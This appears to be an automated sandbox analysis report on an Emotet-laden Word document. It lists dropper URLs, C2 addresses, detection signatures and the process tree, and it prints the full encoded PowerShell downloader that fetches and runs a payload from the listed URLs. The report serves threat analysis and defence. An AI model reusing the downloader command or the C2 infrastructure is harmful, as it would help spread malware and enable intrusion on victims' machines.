Analysis

  • max time kernel
    136s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    27/10/2020, 15:26

General

  • Target
    emotet_e1_76db981e79b1d69eb157f002b5c41736b4ccf58dec91a684e658f2e26dfe3677_2020-10-27__152327340312._fpx.doc
  • Size 163KB
  • Sample201027-kktfft3vls
  • SHA256 76db981e79b1d69eb157f002b5c41736b4ccf58dec91a684e658f2e26dfe3677
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://hashilife.com/sitepage/GY/

  • exe.dropper

    http://anjia-ceramics.com/aliner-camper/K/

  • exe.dropper

    https://monicasharma.info/reviewl/i/

  • exe.dropper

    http://adidasyeezy.store/welph/m/

  • exe.dropper

    http://econews.treegle.org/how-to/2V/

  • exe.dropper

    http://quicktowtowing.com/wp-content/mu-plugins/uMM/

  • exe.dropper

    https://timsonntag.com/cgi-bin/g/

Extracted

Family
  • emotet

Botnet
  • Epoch1

C2
  • 78.206.229.130:80

  • 104.131.92.244:8080

  • 70.39.251.94:8080

  • 87.230.25.43:8080

  • 79.118.74.90:80

  • 82.76.111.249:443

  • 82.76.52.155:80

  • 212.71.237.140:8080

  • 188.251.213.180:80

  • 103.236.179.162:80

  • 1.226.84.243:8080

  • 70.32.84.74:8080

  • 2.84.12.98:80

  • 201.213.177.139:80

  • 177.73.0.98:443

  • 170.81.48.2:80

  • 129.232.220.11:8080

  • 177.144.130.105:8080

  • 213.52.74.198:80

  • 120.72.18.91:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_76db981e79b1d69eb157f002b5c41736b4ccf58dec91a684e658f2e26dfe3677_2020-10-27__152327340312._fpx.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3244
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD IAAkADYANAAyAHcANQAgAD0AIAAgAFsAdAB5AHAARQBdACgAIgB7ADUAfQB7ADQAfQB7ADAAfQB7ADMAfQB7ADIAfQB7ADEAfQAiACAALQBGACcASQAnACwAJwBPAFIAeQAnACwAJwAuAGQAaQByAEUAYwBUACcALAAnAE8AJwAsACcAeQBzAHQAZQBtAC4AJwAsACcAcwAnACkAOwAgAFMARQBUAC0ASQBUAEUAbQAgAFYAYQByAGkAYQBiAGwAZQA6AEcAUgBRAG8AIAAgACgAWwBUAFkAcABlAF0AKAAiAHsAMwB9AHsAMgB9AHsAMQB9AHsAMAB9AHsANAB9AHsANQB9ACIAIAAtAGYAJwBUAC4AUwBFAFIAdgBJAGMARQBQAE8ASQBuAHQATQAnACwAJwBFACcALAAnAFQARQBtAC4ATgAnACwAJwBTAHkAUwAnACwAJwBhAE4AYQAnACwAJwBHAGUAUgAnACkAIAAgACkAIAA7ACQAQgBjAGUAeABjAG4AbgA9ACgAKAAnAFoAdQAnACsAJwBxADUAJwApACsAKAAnAHMAZAAnACsAJwBfACcAKQApADsAJABaAHEAbgBmAGEAOQA0AD0AJABWAF8AaQBqAGYANgByACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABaADMAcgBrAGIANwB3ADsAJABSAHkAZAAwADUAZwA3AD0AKAAnAFoAJwArACgAJwBmAHMAbAAnACsAJwBtAGgAJwArACcANQAnACkAKQA7ACAAIAAoACAAVgBhAFIAaQBhAGIATABFACAAIAAoACcANgA0ACcAKwAnADIAVwA1ACcAKQAgACAALQB2AEEAbAB1AEUAbwBuACAAKQA6ADoAIgBjAHIAZQBBAHQAZQBkAEkAYABSAEUAQwBUAGAAbwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQAnACsAJwBXAG4AdwByADYAMwBhAHsAMAB9ACcAKwAnAEoAJwArACcAbQAnACsAJwBrAHkAJwArACgAJwB4ACcAKwAnAGwAMwAnACkAKwAnAHsAMAB9ACcAKQAgAC0ARgAgAFsAYwBoAGEAUgBdADkAMgApACkAOwAkAEkAdAA1AHgAZAB0AHQAPQAoACgAJwBQACcAKwAnAHAAeABsACcAKQArACgAJwA4ACcAKwAnAGMAcAAnACkAKQA7ACAAIAAoAGcAZQB0AC0AVgBhAHIAaQBhAEIAbABFACAAIABHAHIAcQBPACAAIAAtAHYAQQBMAHUARQBPAE4AIAAgACkAOgA6ACIAUwBgAGUAYABDAFUAUgBpAHQAWQBwAFIATwB0AE8AYwBvAEwAIgAgAD0AIAAoACgAJwBUAGwAJwArACcAcwAxACcAKQArACcAMgAnACkAOwAkAFkAMgBmADUAYQBiADkAPQAoACgAJwBDADEAagAnACsAJwBhACcAKQArACgAJwBtACcAKwAnAGcAbgAnACkAKQA7ACQAUgB4ADkAYwB3ADMAbAAgAD0AIAAoACgAJwBZACcAKwAnAGgAOQAnACkAKwAoACcAcwBiACcAKwAnAF8AdwAnACsAJwBmAGYAJwApACkAOwAkAEoAbwB0AHYAdwA4ADIAPQAoACgAJwBKAHYAJwArACcAYgAnACkAKwAnAF8AJwArACgAJwBqACcAKwAnAGsAdwAnACkAKQA7ACQATgBuAGoAdAA2AHAAYwA9ACgAJwBKAHoAJwArACgAJwBmACcAKwAnADgAYgAnACkAKwAnADAAZgAnACkAOwAkAFUAcwA0AHAAagA3AGkAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQAnACsAJwBXAG4AJwArACgAJwB3AHIAJwArACcANgAnACkAKwAnADMAYQB7ACcAKwAnADAAJwArACcAfQBKACcAKwAnAG0AawB5AHgAbAAzAHsAMAB9ACcAKQAgACAALQBmACAAWwBjAEgAQQByAF0AOQAyACkAKwAkAFIAeAA5AGMAdwAzAGwAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFMAZQB6AHQAZgB0AGUAPQAoACcASAA5ACcAKwAnADQAJwArACgAJwAzADIAJwArACcAMAAwACcAKQApADsAJABDAGIAbABvADAAeQBoAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagAnACsAJwBlACcAKwAnAGMAdAAnACkAIABOAEUAdAAuAFcAZQBCAGMAbABJAEUATgBUADsAJABGAHcAbQAwAGsAdQBvAD0AKAAoACcAaAB0AHQAcAAnACsAJwA6ACcAKQArACcAWwAgACcAKwAoACcAdwBlACcAKwAnACAAXQBbACcAKQArACcAIAAnACsAKAAnAHcAZQAgAF0AaABhACcAKwAnAHMAJwArACcAaAAnACkAKwAnAGkAJwArACgAJwBsAGkAZgAnACsAJwBlAC4AYwBvAG0AWwAgACcAKwAnAHcAZQAgAF0AcwAnACsAJwBpAHQAJwApACsAKAAnAGUAcAAnACsAJwBhACcAKwAnAGcAZQBbACcAKQArACcAIAAnACsAJwB3ACcAKwAnAGUAJwArACgAJwAgAF0AJwArACcARwBZAFsAJwApACsAJwAgACcAKwAoACcAdwAnACsAJwBlACAAXQBAAGgAJwApACsAKAAnAHQAdABwACcAKwAnADoAWwAnACkAKwAnACAAJwArACcAdwAnACsAKAAnAGUAIAAnACsAJwBdAFsAIAAnACkAKwAoACcAdwAnACsAJwBlACAAJwApACsAJwBdAGEAJwArACcAbgAnACsAKAAnAGoAaQAnACsAJwBhACcAKQArACgAJwAtACcAKwAnAGMAZQAnACkAKwAnAHIAJwArACgAJwBhAG0AJwArACcAaQAnACkAKwAnAGMAJwArACcAcwAnACsAKAAnAC4AYwAnACsAJwBvACcAKwAnAG0AWwAgAHcAZQAgAF0AJwApACsAKAAnAGEAJwArACcAbABpACcAKQArACgAJwBuAGUAcgAnACsAJwAtAGMAJwApACsAKAAnAGEAbQBwAGUAcgAnACsAJwBbACcAKQArACcAIAAnACsAKAAnAHcAZQAgAF0ASwBbACcAKwAnACAAJwArACcAdwBlACAAJwApACsAJwBdACcAKwAoACcAQABoACcAKwAnAHQAdAAnACkAKwAnAHAAJwArACgAJwBzACcAKwAnADoAWwAnACkAKwAnACAAJwArACgAJwB3AGUAIAAnACsAJwBdAFsAIAAnACkAKwAnAHcAJwArACgAJwBlACcAKwAnACAAXQBtACcAKQArACcAbwAnACsAJwBuAGkAJwArACcAYwAnACsAKAAnAGEAcwAnACsAJwBoACcAKQArACcAYQByACcAKwAnAG0AYQAnACsAKAAnAC4AaQAnACsAJwBuAGYAJwApACsAJwBvACcAKwAoACcAWwAgACcAKwAnAHcAZQAgAF0AcgBlAHYAaQBlAHcAJwArACcAbAAnACkAKwAnAFsAIAAnACsAKAAnAHcAZQAnACsAJwAgACcAKQArACgAJwBdAGkAJwArACcAWwAgACcAKQArACcAdwBlACcAKwAnACAAXQAnACsAJwBAACcAKwAoACcAaAB0ACcAKwAnAHQAcAAnACkAKwAnADoAWwAnACsAKAAnACAAdwAnACsAJwBlACcAKQArACgAJwAgACcAKwAnAF0AWwAgACcAKQArACcAdwAnACsAKAAnAGUAJwArACcAIABdAGEAJwApACsAKAAnAGQAaQBkAGEAJwArACcAcwAnACkAKwAnAHkAJwArACgAJwBlAGUAJwArACcAegB5ACcAKwAnAC4AcwAnACkAKwAoACcAdABvACcAKwAnAHIAJwApACsAJwBlAFsAJwArACgAJwAgACcAKwAnAHcAZQAnACkAKwAoACcAIABdACcAKwAnAHcAZQAnACkAKwAoACcAbAAnACsAJwBwAGgAWwAnACkAKwAnACAAJwArACcAdwBlACcAKwAoACcAIAAnACsAJwBdAG0AJwApACsAJwBbACAAJwArACcAdwAnACsAKAAnAGUAJwArACcAIAAnACsAJwBdAEAAaAB0AHQAcAAnACsAJwA6ACcAKQArACcAWwAnACsAJwAgAHcAJwArACcAZQAgACcAKwAoACcAXQBbACAAdwBlACcAKwAnACAAXQAnACkAKwAoACcAZQBjAG8AbgAnACsAJwBlACcAKwAnAHcAcwAuAHQAJwApACsAJwByAGUAJwArACgAJwBlAGcAbAAnACsAJwBlAC4AJwApACsAKAAnAG8AcgAnACsAJwBnAFsAJwApACsAJwAgACcAKwAoACcAdwAnACsAJwBlACAAJwApACsAJwBdAGgAJwArACcAbwAnACsAKAAnAHcALQB0ACcAKwAnAG8AWwAnACkAKwAnACAAJwArACcAdwBlACcAKwAoACcAIABdADIAJwArACcAVgBbACcAKwAnACAAdwBlACAAJwApACsAJwBdACcAKwAoACcAQABoACcAKwAnAHQAJwApACsAJwB0ACcAKwAnAHAAOgAnACsAKAAnAFsAJwArACcAIAB3ACcAKQArACcAZQAgACcAKwAoACcAXQAnACsAJwBbACAAJwApACsAKAAnAHcAJwArACcAZQAgACcAKQArACgAJwBdAHEAJwArACcAdQBpAGMAJwApACsAJwBrAHQAJwArACcAbwAnACsAKAAnAHcAdAAnACsAJwBvAHcAJwApACsAJwBpACcAKwAnAG4AZwAnACsAKAAnAC4AJwArACcAYwBvAG0AWwAgAHcAZQAnACsAJwAgAF0AdwBwACcAKQArACcALQAnACsAKAAnAGMAbwBuAHQAZQAnACsAJwBuACcAKwAnAHQAWwAgAHcAZQAnACkAKwAnACAAXQAnACsAJwBtACcAKwAnAHUAJwArACcALQBwACcAKwAoACcAbAB1ACcAKwAnAGcAaQBuACcAKQArACgAJwBzAFsAIAB3AGUAJwArACcAIABdACcAKQArACgAJwB1ACcAKwAnAE0ATQAnACkAKwAnAFsAJwArACcAIAAnACsAJwB3ACcAKwAnAGUAJwArACgAJwAgAF0AJwArACcAQABoACcAKQArACgAJwB0AHQAcAAnACsAJwBzADoAWwAnACsAJwAgAHcAZQAnACkAKwAoACcAIAAnACsAJwBdAFsAIAB3AGUAIABdAHQAJwArACcAaQAnACkAKwAoACcAbQBzAG8AJwArACcAbgBuAHQAJwApACsAKAAnAGEAZwAuACcAKwAnAGMAJwApACsAJwBvAG0AJwArACgAJwBbACAAdwAnACsAJwBlACcAKQArACgAJwAgAF0AYwAnACsAJwBnACcAKQArACcAaQAnACsAKAAnAC0AYgBpAG4AJwArACcAWwAgAHcAZQAnACsAJwAgACcAKwAnAF0AJwApACsAKAAnAGcAJwArACcAWwAgACcAKQArACgAJwB3AGUAJwArACcAIABdACcAKQApAC4AIgByAEUAUABsAGAAQQBDAEUAIgAoACgAJwBbACAAJwArACgAJwB3ACcAKwAnAGUAIABdACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACcAZgBzACcAKQBbADAAXQApAC4AIgBTAHAAYABsAGkAVAAiACgAJABYADgAcQBpADgAdwBiACAAKwAgACQAWgBxAG4AZgBhADkANAAgACsAIAAkAEkAeQBpADkAMwA1AG4AKQA7ACQATABiAGsAZgB3AGQAXwA9ACgAJwBHADgAJwArACgAJwBqADgAJwArACcAeAAnACkAKwAnAGsAZQAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEwAbgBvAHYAeABmAGgAIABpAG4AIAAkAEYAdwBtADAAawB1AG8AKQB7AHQAcgB5AHsAJABDAGIAbABvADAAeQBoAC4AIgBkAG8AYABXAE4ATABvAGAAQQBkAGYASQBMAGUAIgAoACQATABuAG8AdgB4AGYAaAAsACAAJABVAHMANABwAGoANwBpACkAOwAkAFQAcwBhAGUAdAA4AGUAPQAoACgAJwBCACcAKwAnADMAaAAnACkAKwAoACcAcgAnACsAJwBrAGcAJwApACsAJwB1ACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABVAHMANABwAGoANwBpACkALgAiAGwARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMwA4ADgANwA3ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACcAdwAnACsAKAAnAGkAbgAnACsAJwAzADIAXwBQACcAKQArACgAJwByAG8AJwArACcAYwAnACkAKwAoACcAZQAnACsAJwBzAHMAJwApACkAKQAuACIAQwByAGUAYABBAFQAZQAiACgAJABVAHMANABwAGoANwBpACkAOwAkAEsAbQB6AHkANABiADQAPQAoACcATABfACcAKwAnAF8AJwArACgAJwBuAGYAJwArACcAbABiACcAKQApADsAYgByAGUAYQBrADsAJABWAGcAawA1AGkANwB0AD0AKAAnAEYAJwArACgAJwBjADYAOAAnACsAJwB0AHoAYwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVgBtAGgAOQBxADIAOQA9ACgAJwBGAGkAJwArACcAYwA5ACcAKwAoACcAZQAxACcAKwAnADkAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2652
  • C:\Users\Admin\Wnwr63a\Jmkyxl3\Yh9sb_wff.exe
    C:\Users\Admin\Wnwr63a\Jmkyxl3\Yh9sb_wff.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3360
    • C:\Windows\SysWOW64\netcenter\rdpserverbase.exe
      "C:\Windows\SysWOW64\netcenter\rdpserverbase.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:3668

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/2652-6-0x00007FFCFB620000-0x00007FFCFC00C000-memory.dmp

        memory/2652-7-0x000001E4575B0000-0x000001E4575B1000-memory.dmp

        memory/2652-8-0x000001E46F7E0000-0x000001E46F7E1000-memory.dmp

        memory/3244-0-0x00007FFD03560000-0x00007FFD03B97000-memory.dmp

        memory/3360-14-0x00000000034F0000-0x0000000003500000-memory.dmp

        memory/3668-20-0x00000000033B0000-0x00000000033C0000-memory.dmp